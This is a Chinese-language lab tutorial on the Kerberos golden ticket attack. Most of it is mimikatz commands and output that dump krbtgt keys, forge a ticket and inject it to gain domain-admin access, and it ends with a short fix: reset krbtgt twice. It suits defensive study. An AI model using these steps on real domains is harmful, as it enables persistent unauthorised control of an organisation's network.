0x00 前言
當域***成功後,域控制器已被攻陷,這時***者通常需要維持域中權限,持久控制域控制器。本文中提到的golden ticket(黃金票據)主要是利用微軟Kerberos協議缺陷和域中krbtgt賬號的信息,可生成任意TGT,該TGT可用於當前域中Kerberos認證的任何服務。***者只需要保存krbtgt賬號中的信息生成golden ticket注入內存當中,即可擁有權限,且該票據的有效期是十年。
0x01 準備工作
- 域控制器一臺及管理員權限(dc都沒攻陷,談何後續?)
- mimikatz
0x02 模擬環境
域控制器 2008r2 dc.test.com 192.168.3.100
域內機器 2008r2 client.test.com 192.168.3.10
域外機器 win7 xxxxxx.xxx 192.168.3.18
0x03 漏洞自檢
只能去翻看日誌咯~~~~
0x04 漏洞利用
1. 獲取krbtgt賬號信息
包括Server SID、NTLM或aes256或aes128,在域控制器上使用mimikatz操作
C:\Users\Administrator\Desktop>mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # lsadump::lsa /patch
Domain : TEST / S-1-5-21-1406004368-3818689962-3591297438
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 80c073620041d7cc60c36ea12bdecb5d
//只摘重點部分展示
抓取aes256,需要使用另外的命令,aes256和NTLM只需要一個即可
C:\Users\Administrator\Desktop>mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:test.com /user:krbtgt" "exit"
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # lsadump::dcsync /domain:test.com /user:krbtgt
[DC] 'test.com' will be the domain
[DC] 'dc.test.com' will be the DC server
[DC] 'krbtgt' will be the user account
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : TEST.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 7a615ae0d4b62a304ab086749b87ec0933dccb62c15e9fc2ca176bd4cf5ee8c5
aes128_hmac (4096) : aeb64a10f1fa77b344fb873ba04fa755
des_cbc_md5 (4096) : dcd9ec620b26f7df
rc4_plain (4096) : 80c073620041d7cc60c36ea12bdecb5d
2.生成golden ticket(其實也是TGT票據)
先使用NTLM來生成票據
C:\Users\Administrator\Desktop>mimikatz.exe "kerberos::golden /user:Administrator /domain:域名 /sid:SERVER SID /krbtgt:NTLM /ticket:test.kirbi" "exit"
執行後會在當前目錄生成票據,名爲test.kirbi
aes256生成票據
C:\Users\Administrator\Desktop>mimikatz.exe "kerberos::golden /user:Administrator /domain:域名 /sid:SERVER SID /aes256:值 /ticket:xxx.kirbi" "exit"
執行後會在當前目錄生成票據,名爲xxx.kirbi
aes128同256,將參數名修改和值即可/aes128:xxx
3.票據注入
分別使用兩臺機器進行測試,一臺爲域內成員機器,一臺爲域外成員機器,測試是否能通過票據使任意能聯通域的機器獲取到域管理權限!將票據保存到兩臺機器上
* 域內機器測試
!未注入票據前,域內機器不能直接訪問域控制器
mimikatz # kerberos::ptt aes256.kirbi #xxx.kirbi爲文件名
!注入票據後,成功訪問域控制器
* 域外機器測試
需要注意的是,域外機器先得將dns指向域控制器或域內dns服務器,否則無法解析主機名
可以正常解析!
機器不在域中
!未注入票據前,域外機器不能直接訪問域控制器
!注入票據後,域外機器成功訪問域控制器
0x05 細節
- 訪問時,不能使用ip地址,必須使用域名
- 如有錯誤,請斧正,謝謝!
0x06 修復
當域被***後,不止要重置域管理員密碼,還需要重置krbtgt賬戶密碼,且需要重置兩次,才能使golden ticket失效,否則擁有golden ticket的***者將可以隨便進出域中